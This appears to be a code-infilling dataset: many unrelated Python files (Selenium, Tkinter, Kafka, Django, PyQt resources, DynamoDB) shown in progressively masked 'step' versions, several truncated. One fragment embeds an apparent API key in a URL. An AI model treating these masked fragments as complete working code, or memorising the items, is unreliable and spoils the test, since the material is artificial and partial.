start = 'C://Users//Pathak//Downloads//chromedriver_win32'
df = str(counter)
gh = s... | flexible | {
"blob_id": "30e7fc169eceb3d8cc1a4fa6bb65d81a4403f2c7",
"index": 5800,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwhile True:\n driver.get(\n 'https://www.google.co.in/maps/@18.9967228,73.118955,21z/data=!5m1!1e1?hl=en&authuser=0'\n )\n start = 'C://Users//Pathak//Downloads//chrom... | [
0,
1,
2,
3,
4
] |
#!/usr/bin/python
from Tkinter import *
root = Tk()
root.title("Simple Graph")
root.resizable(0,0)
points = []
spline = 0
tag1 = "theline"
def point(event):
c.create_oval(event.x, event.y, event.x+1, event.y+1, fill="black", width="10.0")
points.append(event.x)
points.append(event.y)
print(event.x)
print(ev... | normal | {
"blob_id": "d88485e37d4df4cb0c8d79124d4c9c9ba18d124e",
"index": 9074,
"step-1": "#!/usr/bin/python\nfrom Tkinter import *\n\nroot = Tk()\n\nroot.title(\"Simple Graph\")\n\nroot.resizable(0,0)\n\npoints = []\n\nspline = 0\n\ntag1 = \"theline\"\n\ndef point(event):\n\tc.create_oval(event.x, event.y, event.x+1, ev... | [
0
] |
class Node():
def __init__(self, value):
self.value = value
self.next = None
def linked_list_from_array(arr):
head = Node(arr[0])
cur = head
for i in range(1, len(arr)):
cur.next = Node(arr[i])
cur = cur.next
return head
def array_from_linked_list(head):
arr = []
cur = head
whil... | normal | {
"blob_id": "e1eb86480fa4eadabf05f10cc54ff9daa790438c",
"index": 3935,
"step-1": "class Node:\n\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\n<mask token>\n\n\ndef array_from_linked_list(head):\n arr = []\n cur = head\n while cur:\n arr.append(cur.valu... | [
3,
5,
7,
8,
9
] |
<|reserved_special_token_0|>
def historic_data(url):
csv_data = urllib2.urlopen(url)
csv_reader = list(csv.reader(csv_data, delimiter=','))
return csv_reader[-1]
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def get_last_element_timestamp(url):
conn = ur... | flexible | {
"blob_id": "81f75498afcca31e38ea7856c81c291af3ef6673",
"index": 7151,
"step-1": "<mask token>\n\n\ndef historic_data(url):\n csv_data = urllib2.urlopen(url)\n csv_reader = list(csv.reader(csv_data, delimiter=','))\n return csv_reader[-1]\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef get_last... | [
1,
3,
4,
5,
6
] |
class Point:
<|reserved_special_token_0|>
def __str__(self):
return '({0},{1})'.format(self.x, self.y)
def __add__(self, other):
self.x = self.x + other.x
self.y = self.y + other.y
return Point(self.x, self.y)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
c... | flexible | {
"blob_id": "1bebd3c18742f5362d2e5f22c539f6b13ad58d2a",
"index": 2873,
"step-1": "class Point:\n <mask token>\n\n def __str__(self):\n return '({0},{1})'.format(self.x, self.y)\n\n def __add__(self, other):\n self.x = self.x + other.x\n self.y = self.y + other.y\n return Poin... | [
3,
4,
5,
6,
7
] |
from pymongo import MongoClient
import Config
DB = Config.DB
COLLECTION = Config.COLLECTION
def connectMongo():
uri = "mongodb://localhost"
client = MongoClient(uri)
return client[DB]
def connectMongoCollection(collection = COLLECTION):
uri = "mongodb://localhost"
client = MongoClient(uri)
db = client[DB]
re... | normal | {
"blob_id": "7a5106456d0fdd905829c5aa1f4a69b027f3a04c",
"index": 4198,
"step-1": "<mask token>\n\n\ndef connectMongoCollection(collection=COLLECTION):\n uri = 'mongodb://localhost'\n client = MongoClient(uri)\n db = client[DB]\n return db[collection]\n",
"step-2": "<mask token>\n\n\ndef connectMong... | [
1,
2,
3,
4,
5
] |
import numpy as np
def SO3_to_R3(x_skew):
x = np.zeros((3, 1))
x[0, 0] = -1 * x_skew[1, 2]
x[1, 0] = x_skew[0, 2]
x[2, 0] = -1 * x_skew[0, 1]
return x
| normal | {
"blob_id": "97bff6eb0cd16c915180cb634e6bf30e17adfdef",
"index": 2080,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef SO3_to_R3(x_skew):\n x = np.zeros((3, 1))\n x[0, 0] = -1 * x_skew[1, 2]\n x[1, 0] = x_skew[0, 2]\n x[2, 0] = -1 * x_skew[0, 1]\n return x\n",
"step-3": "import nu... | [
0,
1,
2
] |
<|reserved_special_token_0|>
class JamfScriptUploader(JamfUploaderBase):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_specia... | flexible | {
"blob_id": "35d99713df754052a006f76bb6f3cfe9cf875c0b",
"index": 3993,
"step-1": "<mask token>\n\n\nclass JamfScriptUploader(JamfUploaderBase):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass JamfScriptUploader(J... | [
1,
4,
5,
7,
8
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def test_send_requirements(config):
handler = EmailHandler(config)
with pytest.raises(InsuficientInformation):
handler.publish({})
with pytest.raises(InsuficientInformation):
handler.publish({'recipie... | flexible | {
"blob_id": "e2d8a1e13a4162cd606eec12530451ab230c95b6",
"index": 3103,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef test_send_requirements(config):\n handler = EmailHandler(config)\n with pytest.raises(InsuficientInformation):\n handler.publish({})\n with pytest.raises(Insuficie... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class FunctionalTest(TestCase):
def setUp(self):
self.browser = webdriver.Chrome('C:\\chromedriver\\chromedriver.exe')
self.browser.implicitly_wait(2)
def tearDown(self):
self.browser.quit()
<|reserved_special_token_0|>
<|reserved_special_token_0|... | flexible | {
"blob_id": "fc4cf800c663abf20bfba7fcc1032e09a992641b",
"index": 5334,
"step-1": "<mask token>\n\n\nclass FunctionalTest(TestCase):\n\n def setUp(self):\n self.browser = webdriver.Chrome('C:\\\\chromedriver\\\\chromedriver.exe')\n self.browser.implicitly_wait(2)\n\n def tearDown(self):\n ... | [
6,
7,
9,
13,
14
] |
from django.urls import path
from .views import FirstModelView
urlpatterns = [path('firstModel', FirstModelView.as_view())]
| normal | {
"blob_id": "4efd22d132accd0f5945a0c911b73b67654b92e4",
"index": 9358,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurlpatterns = [path('firstModel', FirstModelView.as_view())]\n",
"step-3": "from django.urls import path\nfrom .views import FirstModelView\nurlpatterns = [path('firstModel', FirstModel... | [
0,
1,
2
] |
<|reserved_special_token_0|>
def transform(x):
if x == 'Kama':
return 0
elif x == 'Rosa':
return 1
else:
return 2
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def transform(x):
if x == 'Kama':
return 0
elif x == 'Rosa... | flexible | {
"blob_id": "ef04e808a2a0e6570b28ef06784322e0b2ca1f8f",
"index": 4774,
"step-1": "<mask token>\n\n\ndef transform(x):\n if x == 'Kama':\n return 0\n elif x == 'Rosa':\n return 1\n else:\n return 2\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef transform(x):\n if x == 'K... | [
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for filename in os.listdir('/home/asket/Desktop/DBMS/menu'):
print(filename)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
mylist = []
clist = ['North Indian', 'Italian', 'Continental', 'Chinese', 'Mexican',
... | flexible | {
"blob_id": "965db2523f60d83bd338bcc62ab8e5705550aa89",
"index": 6606,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor filename in os.listdir('/home/asket/Desktop/DBMS/menu'):\n print(filename)\n",
"step-3": "<mask token>\nmylist = []\nclist = ['North Indian', 'Italian', 'Continental', 'Chinese',... | [
0,
1,
2,
3,
4
] |
"""
TestRail API Categories
"""
from . import _category
from ._session import Session
class TestRailAPI(Session):
"""Categories"""
@property
def attachments(self) -> _category.Attachments:
"""
https://www.gurock.com/testrail/docs/api/reference/attachments
Use the following API me... | normal | {
"blob_id": "c2467e94a2ad474f0413e7ee3863aa134bf9c51f",
"index": 3399,
"step-1": "<mask token>\n\n\nclass TestRailAPI(Session):\n <mask token>\n\n @property\n def attachments(self) ->_category.Attachments:\n \"\"\"\n https://www.gurock.com/testrail/docs/api/reference/attachments\n U... | [
17,
20,
21,
22,
24
] |
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize
#Print Stop words
stop_words = set(stopwords.words("english"))
print(stop_words)
example_text = "This is general sentence to just clarify if stop words are working or not. I have some awesome projects coming up"
words = word_tokenize(... | normal | {
"blob_id": "90f5629ac48edfccea57243ffb6188a98123367d",
"index": 5197,
"step-1": "from nltk.corpus import stopwords\r\nfrom nltk.tokenize import word_tokenize\r\n\r\n#Print Stop words\r\nstop_words = set(stopwords.words(\"english\"))\r\nprint(stop_words)\r\n\r\nexample_text = \"This is general sentence to just c... | [
0
] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import versatileimagefield.fields
class Migration(migrations.Migration):
dependencies = [
('venue', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Images... | normal | {
"blob_id": "09bf7460b2c928bf6e1346d9d1e2e1276540c080",
"index": 3099,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('venue', '00... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for i in range(10):
count = 0
for j in range(len(num)):
if i == int(num[j]):
count += 1
else:
continue
print(count)
<|reserved_special_token_1|>
A = int(input())
B = int(input... | flexible | {
"blob_id": "b43ea8c32207bf43abc3b9b490688fde0706d876",
"index": 4633,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in range(10):\n count = 0\n for j in range(len(num)):\n if i == int(num[j]):\n count += 1\n else:\n continue\n print(count)\n",
"step-... | [
0,
1,
2,
3
] |
# -*- coding: utf-8 -*-
__author__ = 'jz'
from flask.ext import restful
from flask.ext.restful import reqparse
from scs_app.db_connect import *
parser = reqparse.RequestParser()
parser.add_argument('count', type=str)
class MulActionResource(restful.Resource):
def __init__(self):
self.db =... | normal | {
"blob_id": "44476a32b8ab68820d73955321e57b7d1b608beb",
"index": 6823,
"step-1": "<mask token>\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n ... | [
3,
4,
5,
6,
7
] |
import math_series.series as func
""" Testing for fibonacci function """
def test_fibonacci_zero():
actual = func.fibonacci(0)
expected = 0
assert actual == expected
def test_fibonacci_one():
actual = func.fibonacci(1)
expected = 1
assert actual == expected
def test_fibonacci_negative():... | normal | {
"blob_id": "49722f640eec02029865fd702e13e485eda6391b",
"index": 8126,
"step-1": "<mask token>\n\n\ndef test_fibonacci_zero():\n actual = func.fibonacci(0)\n expected = 0\n assert actual == expected\n\n\ndef test_fibonacci_one():\n actual = func.fibonacci(1)\n expected = 1\n assert actual == ex... | [
8,
9,
11,
13,
14
] |
import time
if __name__ == '__main__':
for i in range(10):
print('here %s' % i)
time.sleep(1)
print('TEST SUCEEDED')
| normal | {
"blob_id": "a159f9f9cc06bb9d22f84781fb2fc664ea204b64",
"index": 6856,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif __name__ == '__main__':\n for i in range(10):\n print('here %s' % i)\n time.sleep(1)\n print('TEST SUCEEDED')\n",
"step-3": "import time\nif __name__ == '__main__... | [
0,
1,
2
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
session.add(user_1)
session.commit()
<|reserved_special_token_0|>
session.add(country_1)
session.commit()
<|reserved_special_token_0|>
session.add(country_2)
session.commit()
<|reserved_special_token_0|>
session.add(country_3)
ses... | flexible | {
"blob_id": "21b9844fce10d16a14050a782ce7e15e3f6fb657",
"index": 5737,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nsession.add(user_1)\nsession.commit()\n<mask token>\nsession.add(country_1)\nsession.commit()\n<mask token>\nsession.add(country_2)\nsession.commit()\n<mask token>\nsession.add(country_3)... | [
0,
1,
2,
3,
4
] |
import requests
#!/usr/bin/env python
from confluent_kafka import Producer, KafkaError
import json
import ccloud_lib
delivered_records = 0
url = "https://api.mockaroo.com/api/cbb61270?count=1000&key=5a40bdb0"
# Optional per-message on_delivery handler (triggered by poll() or flush())
# when a message has be... | normal | {
"blob_id": "b4f522398cd2658c2db926216e974781e10c44df",
"index": 7897,
"step-1": "<mask token>\n\n\ndef get_data():\n r = requests.get(url)\n return '{ \"data\": ' + str(r.text) + '}'\n\n\ndef main():\n args = ccloud_lib.parse_args()\n config_file = args.config_file\n topic = args.topic\n conf ... | [
2,
4,
5,
6,
7
] |
# Generated by Django 2.1.3 on 2019-04-10 11:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0014_auto_20190409_1917'),
]
operations = [
migrations.AlterField(
model_name='article',
name='estArchive',
... | normal | {
"blob_id": "21c8078a18ee4579fa9b4b1b667d6ea0c1ce99b3",
"index": 6005,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('blog', '001... | [
0,
1,
2,
3,
4
] |
def solution(A):
if not A:
return 1
elif len(A) == 1:
if A[0] == 1:
return 2
else:
return 1
A.sort()
prev = 0
for i in A:
if i != (prev + 1):
return i - 1
else:
prev = i
return prev + 1
| normal | {
"blob_id": "8c3c066ed37fe0f67acfd2d5dc9d57ec2b996275",
"index": 5640,
"step-1": "<mask token>\n",
"step-2": "def solution(A):\n if not A:\n return 1\n elif len(A) == 1:\n if A[0] == 1:\n return 2\n else:\n return 1\n A.sort()\n prev = 0\n for i in A:\n... | [
0,
1,
2
] |
<|reserved_special_token_0|>
class Tests(unittest.TestCase):
def test_singleton(self):
lev1, lev2 = Levenshtein(), Levenshtein()
self.assertIs(lev1, lev2)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Tests(unittest.TestCase):
def test_si... | flexible | {
"blob_id": "892d6662e4276f96797c9654d15c96a608d0835a",
"index": 8927,
"step-1": "<mask token>\n\n\nclass Tests(unittest.TestCase):\n\n def test_singleton(self):\n lev1, lev2 = Levenshtein(), Levenshtein()\n self.assertIs(lev1, lev2)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass Tes... | [
2,
3,
4,
5,
7
] |
<|reserved_special_token_0|>
class Food:
<|reserved_special_token_0|>
def draw(self):
seq = [self.food1, self.food2]
self.parent_screen.blit(random.choice(seq), (self.food_x, self.food_y))
pygame.display.flip()
def move(self):
self.food_x = random.randint(0, W // SIZE - 1... | flexible | {
"blob_id": "935853a4afdb50a4652e14913d0cdb251a84ea14",
"index": 6427,
"step-1": "<mask token>\n\n\nclass Food:\n <mask token>\n\n def draw(self):\n seq = [self.food1, self.food2]\n self.parent_screen.blit(random.choice(seq), (self.food_x, self.food_y))\n pygame.display.flip()\n\n d... | [
17,
26,
29,
30,
31
] |
<|reserved_special_token_0|>
class Solution:
<|reserved_special_token_0|>
def addLists(self, l1, l2):
res = ListNode(0)
p = res
carry = 0
while l1 or l2 or carry:
num = 0
if l1:
num += l1.val
l1 = l1.next
if l... | flexible | {
"blob_id": "8909ee9c54a234222a41249e1f3005fd86e21cf0",
"index": 1782,
"step-1": "<mask token>\n\n\nclass Solution:\n <mask token>\n\n def addLists(self, l1, l2):\n res = ListNode(0)\n p = res\n carry = 0\n while l1 or l2 or carry:\n num = 0\n if l1:\n ... | [
2,
3,
4,
5
] |
import numpy as np
import cv2
import sys
import math
cap = cv2.VideoCapture(0)
while(True):
_, img = cap.read()
#gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
img = cv2.imread("zielfeld_mit_Zeugs_2.png")
#img = cv2.imread("zielfeld_mit_Zeugs_2.jpg")
#imS = cv2.resize(img, (480, 480... | normal | {
"blob_id": "3f5ae2b25fc506b980de3ee87c952ff699e10003",
"index": 4977,
"step-1": "import numpy as np\r\nimport cv2\r\nimport sys\r\nimport math\r\n\r\n\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\nwhile(True):\r\n _, img = cap.read()\r\n #gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n\r\n img = cv2.imread(\... | [
0
] |
#!/usr/bin/env python
"""
Usage:
generate-doc <layer-definition>
generate-doc --help
generate-doc --version
Options:
--help Show this screen.
--version Show version.
"""
from docopt import docopt
import openmaptiles
from openmaptiles.tileset import Layer
from openmaptiles.docs import ... | normal | {
"blob_id": "991b894c4c0fb9cb90aef0542227e001a3a3bb0d",
"index": 9651,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif __name__ == '__main__':\n args = docopt(__doc__, version=openmaptiles.__version__)\n layer = Layer.parse(args['<layer-definition>'])\n markdown = collect_documentation(layer)\... | [
0,
1,
2,
3
] |
# Generated by Django 2.1.7 on 2019-04-01 14:37
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('submissions', '0004_auto_20190401_1834'),
]
operations = [
migrations.AlterField(
model_name='mainsubmission',
name=... | normal | {
"blob_id": "3fed8723d215bce3cf391752e07ca85b2d6701a3",
"index": 3410,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('submissions... | [
0,
1,
2,
3,
4
] |
TABLE_NAME = 'active_module'
| normal | {
"blob_id": "ff3962d875da8e3f9e6c3178b1a8191ebb8a7b60",
"index": 3639,
"step-1": "<mask token>\n",
"step-2": "TABLE_NAME = 'active_module'\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
} | [
0,
1
] |
__version__ = '0.90.03'
| normal | {
"blob_id": "284e4f79748c17d44518f2ce424db5b1697373dc",
"index": 3156,
"step-1": "<mask token>\n",
"step-2": "__version__ = '0.90.03'\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
} | [
0,
1
] |
<|reserved_special_token_0|>
def main():
global dynamodb_client
global dynamodb_resource
global na_table
global canada_table
global usa_table
global mexico_table
global total_can_usa
global total_can_usa_mex
global total_neither
argc = len(sys.argv)
bad_usage_flag = False
... | flexible | {
"blob_id": "05186093820dffd047b0e7b5a69eb33f94f78b80",
"index": 6787,
"step-1": "<mask token>\n\n\ndef main():\n global dynamodb_client\n global dynamodb_resource\n global na_table\n global canada_table\n global usa_table\n global mexico_table\n global total_can_usa\n global total_can_us... | [
5,
6,
7,
9,
10
] |
#!/usr/bin/env python
##!/work/local/bin/python
##!/work/local/CDAT/bin/python
import sys,getopt
import matplotlib.pyplot as plt
def read():
x = []
y = []
for line in sys.stdin:
v1,v2 = line.split()[:2]
x.append(float(v1))
y.append(float(v2))
return x,y
#def plot(x,y):
def ... | normal | {
"blob_id": "b16ad4bae079159da7ef88b61081d7763d4ae9a0",
"index": 8312,
"step-1": "#!/usr/bin/env python\n##!/work/local/bin/python\n##!/work/local/CDAT/bin/python\n\nimport sys,getopt\nimport matplotlib.pyplot as plt\n\n\ndef read():\n\n x = []\n y = []\n for line in sys.stdin:\n v1,v2 = line.spl... | [
0
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def csv_loader(data, context):
client = bigquery.Client()
dataset_id = os.environ['DATASET']
dataset_ref = client.dataset(dataset_id)
job_config = bigquery.LoadJobConfig()
job_config.schema = [bigquery.Schema... | flexible | {
"blob_id": "01467a4dad3255a99025c347469881a71ffbae7c",
"index": 8179,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef csv_loader(data, context):\n client = bigquery.Client()\n dataset_id = os.environ['DATASET']\n dataset_ref = client.dataset(dataset_id)\n job_config = bigquery.LoadJob... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def bilateral_median_filter(flow, log_occlusen, auxiliary_field, image,
weigth_auxiliary, weigth_filter, sigma_distance=7, sigma_color=7 / 200,
filter_size=5):
"""
:param flow: np.float (YX,Height,Width)
:pa... | flexible | {
"blob_id": "1748c8dfcc3974b577d7bfacb5cabe4404b696bc",
"index": 612,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef bilateral_median_filter(flow, log_occlusen, auxiliary_field, image,\n weigth_auxiliary, weigth_filter, sigma_distance=7, sigma_color=7 / 200,\n filter_size=5):\n \"\"\"\n\... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
class GameController:
<|reserved_special_token_0|>
@staticmethod
def get_instance():
if GameController.instance is None:
GameController()
return GameController.instance
<|reserved_special_token_0|>
def start_game(self):
View.start_... | flexible | {
"blob_id": "d9b405d5159a153fb8d2f1991ceb3dc47f98bcbc",
"index": 9192,
"step-1": "<mask token>\n\n\nclass GameController:\n <mask token>\n\n @staticmethod\n def get_instance():\n if GameController.instance is None:\n GameController()\n return GameController.instance\n <mask t... | [
3,
4,
5,
6
] |
#Arushi Patel (aruship)
from tkinter import *
import random
######################################
#images taken from wikipedia,pixabay,
#trans americas, clipartpanda,pngimg,
#findicons, microsoft word
######################################
####################################
# init
#####################... | normal | {
"blob_id": "c893095be88636e6cb06eb3b939d8106fbb7a8ca",
"index": 470,
"step-1": "<mask token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n ... | [
66,
79,
82,
95,
104
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for i in range(3):
for j in range(4):
c[i][j] = a[i][j] + b[j]
print(c)
<|reserved_special_token_0|>
print(d)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
a = np.ones((3, 4))
b = np.ones((4, 1))
c = np.... | flexible | {
"blob_id": "d6213698423902771011caf6b5206dd4e3b27450",
"index": 5753,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in range(3):\n for j in range(4):\n c[i][j] = a[i][j] + b[j]\nprint(c)\n<mask token>\nprint(d)\n",
"step-3": "<mask token>\na = np.ones((3, 4))\nb = np.ones((4, 1))\nc =... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
def handler(event, data):
if event == _IRQ_SCAN_RESULT:
addr_type, addr, adv_type, rssi, adv_data = data
print(addr_type, memoryview(addr), adv_type, rssi, memoryview(adv_data)
)
for i in addr:
print('{0:x}'.format(i))
print(byte... | flexible | {
"blob_id": "99c60befed32a9aa80b6e66b682d9f475e05a8d1",
"index": 2562,
"step-1": "<mask token>\n\n\ndef handler(event, data):\n if event == _IRQ_SCAN_RESULT:\n addr_type, addr, adv_type, rssi, adv_data = data\n print(addr_type, memoryview(addr), adv_type, rssi, memoryview(adv_data)\n ... | [
2,
5,
6,
7,
8
] |
import hashlib
def md5_hexdigest(data):
return hashlib.md5(data.encode('utf-8')).hexdigest()
def sha1_hexdigest(data):
return hashlib.sha1(data.encode('utf-8')).hexdigest()
def sha224_hexdigest(data):
return hashlib.sha224(data.encode('utf-8')).hexdigest()
def sha256_hexdigest(data):
return hash... | normal | {
"blob_id": "35a95c49c2dc09b528329433a157cf313cf59667",
"index": 8955,
"step-1": "<mask token>\n\n\ndef md5_hexdigest(data):\n return hashlib.md5(data.encode('utf-8')).hexdigest()\n\n\ndef sha1_hexdigest(data):\n return hashlib.sha1(data.encode('utf-8')).hexdigest()\n\n\ndef sha224_hexdigest(data):\n re... | [
4,
5,
6,
7
] |
#!/usr/bin/env python
import pygame
import pygame.mixer as mixer
def pre_init():
mixer.pre_init(22050, -16, 2, 2048)
def init():
mixer.init()
pygame.mixer.set_num_channels(16)
def deinit():
mixer.quit()
class Music (object):
our_music_volume = 0.8
our_current_music = None
def __in... | normal | {
"blob_id": "2caea9e7bbef99b19ba917995513413385c7abdf",
"index": 9808,
"step-1": "<mask token>\n\n\nclass Music(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @staticmethod\n def ... | [
12,
18,
21,
24,
25
] |
import pandas as pd
import numpy as np
class LabeledArray:
@staticmethod
def get_label_for_indexes_upto(input_data, input_label, input_index):
df_input_data = pd.DataFrame(input_data)
df_labels = pd.DataFrame(input_label)
df_data_labels = pd.concat([df_input_data, df_labels], axis=1)
... | normal | {
"blob_id": "0dea8675d8050a91c284a13bcbce6fd0943b604e",
"index": 5135,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass LabeledArray:\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass LabeledArray:\n\n @staticmethod\n def get_label_for_indexes_upto(input_data, input_label, input_in... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def is_huge(A, B):
return A[0] > B[0] and A[1] > B[1]
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def is_huge(A, B):
return A[0] > B[0] and A[1] > B[1]
if __name__ == '... | flexible | {
"blob_id": "5dc8f420e16ee14ecfdc61413f10a783e819ec32",
"index": 506,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef is_huge(A, B):\n return A[0] > B[0] and A[1] > B[1]\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef is_huge(A, B):\n return A[0] > B[0] and A[1] > B[1]\n\n\nif __nam... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
@h1_wrap
def say_hi(name):
return 'Hello, ' + name.capitalize()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
def h1_wrap(func):
def func_wrapper(param):
return '<h1>' + func(param) + '</h1>'
... | flexible | {
"blob_id": "9c9005acb40e4b89ca215345361e21f08f984847",
"index": 5735,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\n@h1_wrap\ndef say_hi(name):\n return 'Hello, ' + name.capitalize()\n\n\n<mask token>\n",
"step-3": "def h1_wrap(func):\n\n def func_wrapper(param):\n return '<h1>' + fu... | [
0,
1,
2,
3,
4
] |
# -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.15.0)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
\x00\x00\x01\xde\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x28\x... | normal | {
"blob_id": "dbf831540d11a994d5483dc97c7eab474f91f0d3",
"index": 8118,
"step-1": "<mask token>\n\n\ndef qInitResources():\n QtCore.qRegisterResourceData(rcc_version, qt_resource_struct,\n qt_resource_name, qt_resource_data)\n\n\ndef qCleanupResources():\n QtCore.qUnregisterResourceData(rcc_version, ... | [
2,
3,
4,
5,
6
] |
from ...java import opcodes as JavaOpcodes
from .primitives import ICONST_val
##########################################################################
# Common Java operations
##########################################################################
class New:
def __init__(self, classname):
self.clas... | normal | {
"blob_id": "67e0536dc9f38ab82fe30e715599fed93c5425a5",
"index": 5142,
"step-1": "<mask token>\n\n\nclass Array:\n\n def __init__(self, size, classname='org/python/Object', fill=None):\n self.size = size\n self.classname = classname\n self.fill = fill\n\n def process(self, context):\n ... | [
12,
15,
16,
18,
23
] |
"""URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based ... | normal | {
"blob_id": "312a95c9514722157653365104d8cd0ada760ce8",
"index": 8084,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurlpatterns = [url('^$', TemplateView.as_view(template_name=\n 'visitor/landing-index.html'), name='landing_index'), url('^about$',\n TemplateView.as_view(template_name='visitor/lan... | [
0,
1,
2,
3
] |
from PIL import Image
source = Image.open("map4.png")
img = source.load()
map_data = {}
curr_x = 1
curr_y = 1
#Go over each chunk and get the pixel info
for x in range(0, 100, 10):
curr_x = x+1
for y in range(0, 100, 10):
curr_y = y+1
chunk = str(curr_x)+"X"+str(curr_y)
if chunk not in map_data:
map_data[... | normal | {
"blob_id": "297b2ff6c6022bd8aac09c25537a132f67e05174",
"index": 525,
"step-1": "from PIL import Image\n\nsource = Image.open(\"map4.png\")\nimg = source.load()\n\nmap_data = {}\n\ncurr_x = 1\ncurr_y = 1\n#Go over each chunk and get the pixel info\nfor x in range(0, 100, 10):\n\tcurr_x = x+1\n\tfor y in range(0,... | [
0
] |
# -*- coding: utf-8 -*-
# Copyright (c) 2017 Feng Shuo
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
from itertools impo... | normal | {
"blob_id": "a299bd230a25a646060f85cffc8e84c534e2f805",
"index": 8185,
"step-1": "# -*- coding: utf-8 -*-\n# Copyright (c) 2017 Feng Shuo\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a cop... | [
0
] |
<|reserved_special_token_0|>
class RawDataSettingsV1(object):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
